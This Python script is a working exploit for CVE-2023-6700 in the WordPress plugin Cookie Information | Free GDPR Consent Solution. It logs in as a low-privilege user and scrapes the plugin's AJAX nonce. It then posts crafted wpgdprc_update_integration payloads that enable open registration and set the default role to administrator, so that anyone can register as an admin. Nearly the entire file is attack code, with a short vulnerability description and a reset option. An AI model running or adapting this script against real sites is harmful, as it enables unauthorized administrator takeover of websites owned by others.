#!/usr/bin/env python3 import argparse import requests import re from getpass import getpass from bs4 import BeautifulSoup import os ## Exploit script by @RandomRobbieBF http_proxy = "" os.environ['HTTP_PROXY'] = http_proxy os.environ['HTTPS_PROXY'] = http_proxy user_agent = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36" def check_plugin_version(url,username,password): headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3'} plugin_url = ""+url+"/wp-content/plugins/wp-gdpr-compliance/readme.txt" response = requests.get(plugin_url, headers=headers,verify=False,timeout=30) if response.status_code == 200: content = response.text version_line = next((line for line in content.split('\n') if line.startswith('Stable tag:')), None) if version_line: version = version_line.split(':')[1].strip() if version > '2.0.23': print("The plugin version is 2.0.23 or above.") exit() else: print("The plugin version is below 2.0.23.") print("The plugin version is "+version+"") return version else: print("Failed to find the version information in the readme.txt file.") exit() else: print("Plugin not installed") exit() def undoadmin(url, username, password): # Perform vulnerability check logic here print("Vulnerability check:", url) # Login to WordPress login_url = f"{url}/wp-login.php" session = requests.Session() login_data = { "log": username, "pwd": password, "wp-submit": "Log In", "redirect_to": f"{url}/wp-admin/", } try: login_response = session.post(login_url, data=login_data, headers={"User-Agent": user_agent}) login_response.raise_for_status() # Extract the required cookies from the response headers cookies = login_response.cookies # Confirm successful login if any('wordpress_logged_in' in cookie.name for cookie in session.cookies): print("Logged in successfully.") try: soup = BeautifulSoup(login_response.text, 'html.parser') script_tag = soup.find('script', id='wpgdprc-admin-js-js-extra') javascript_content = script_tag.string security_value = re.search(r'"ajaxNonce":"([a-f0-9]+)"', javascript_content).group(1) except Exception as e: print("Failed to extract nonce - "+str(e)+"") exit() else: print("Failed to log in.") exit() payloads = [ {"action":"wpgdprc_update_integration","security":security_value,"data":"{\"value\":0,\"name\":\"users_can_register\",\"type\":\"button\",\"integration\":\"WordPress\"}","locale":"en_US"}, {"action":"wpgdprc_update_integration","security":security_value,"data":"{\"value\":\"subscriber\",\"name\":\"default_role\",\"type\":\"button\",\"integration\":\"WordPress\"}","locale":"en_US"} ] main_url = f"{url}/wp-admin/admin-ajax.php" for payload in payloads: ajax_response = session.post(main_url,data=payload, headers={"User-Agent": user_agent,"X-Requested-With": "XMLHttpRequest"}) ajax_response.raise_for_status() # Check if option set successfully if ajax_response.status_code == 200: print(f"Option set successfully: {main_url}") else: print(f"Failed to set option: {main_url}") exit() # Check if user registration is allowed register_url = f"{url}/wp-login.php?action=register" register_response = requests.get(register_url, headers={"User-Agent": user_agent}) if "User registration is currently not allowed" not in register_response.text: print("Error: it looks like you can still register.") else: print("Fixed: You can not longer register") except requests.exceptions.RequestException as e: print(f"Request failed with an error: {e}") def vulncheck(url, username, password): # Perform vulnerability check logic here print("Vulnerability check:", url) # Login to WordPress login_url = f"{url}/wp-login.php" session = requests.Session() login_data = { "log": username, "pwd": password, "wp-submit": "Log In", "redirect_to": f"{url}/wp-admin/", } try: login_response = session.post(login_url, data=login_data, headers={"User-Agent": user_agent}) login_response.raise_for_status() # Extract the required cookies from the response headers cookies = login_response.cookies # Confirm successful login if any('wordpress_logged_in' in cookie.name for cookie in session.cookies): print("Logged in successfully.") try: soup = BeautifulSoup(login_response.text, 'html.parser') script_tag = soup.find('script', id='wpgdprc-admin-js-js-extra') javascript_content = script_tag.string security_value = re.search(r'"ajaxNonce":"([a-f0-9]+)"', javascript_content).group(1) except Exception as e: print("Failed to extract nonce - "+str(e)+"") exit() else: print("Failed to log in.") exit() payloads = [ {"action":"wpgdprc_update_integration","security":security_value,"data":"{\"value\":1,\"name\":\"users_can_register\",\"type\":\"button\",\"integration\":\"WordPress\"}","locale":"en_US"}, {"action":"wpgdprc_update_integration","security":security_value,"data":"{\"value\":\"administrator\",\"name\":\"default_role\",\"type\":\"button\",\"integration\":\"WordPress\"}","locale":"en_US"} ] main_url = f"{url}/wp-admin/admin-ajax.php" for payload in payloads: ajax_response = session.post(main_url,data=payload, headers={"User-Agent": user_agent,"X-Requested-With": "XMLHttpRequest"}) ajax_response.raise_for_status() # Check if option set successfully if ajax_response.status_code == 200: print(f"Option set successfully: {main_url}") else: print(f"Failed to set option: {main_url}") exit() # Check if user registration is allowed register_url = f"{url}/wp-login.php?action=register" register_response = requests.get(register_url, headers={"User-Agent": user_agent}) if "Registration confirmation will be emailed to you" in register_response.text: print("You can now register a user as an admin user. Remember to run --fix yes after you have registered to prevent others exploiting the site.") exit() else: print("boooo") except requests.exceptions.RequestException as e: print(f"Request failed with an error: {e}") # Add the vulnerability description as a comment DESCRIPTION = """ Cookie Information | Free GDPR Consent Solution <= 2.0.22 - Authenticated (Subscriber+) Arbitrary Options Update Description: CVE-2023-6700 The Cookie Information | Free GDPR Consent Solution plugin for WordPress is vulnerable to arbitrary option updates due to a missing capability check on its AJAX request handler in versions up to, and including, 2.0.22. This makes it possible for authenticated attackers, with subscriber-level access or higher, to edit arbitrary site options which can be used to create administrator accounts. """ # Use argparse to get the URL, username, and password arguments parser = argparse.ArgumentParser(description=DESCRIPTION) parser.add_argument("-u", "--url", help="Website URL", required=True) parser.add_argument("-un", "--username", help="WordPress username") parser.add_argument("-p", "--password", help="WordPress password") parser.add_argument("-f", "--fix", help="Reset after Exploit") args = parser.parse_args() # Prompt for password if not provided as an argument if not args.password: args.password = getpass("Enter the WordPress password: ") # Usage if args.fix: undoadmin(args.url, args.username,args.password) else: check_plugin_version(args.url, args.username,args.password) vulncheck(args.url, args.username, args.password)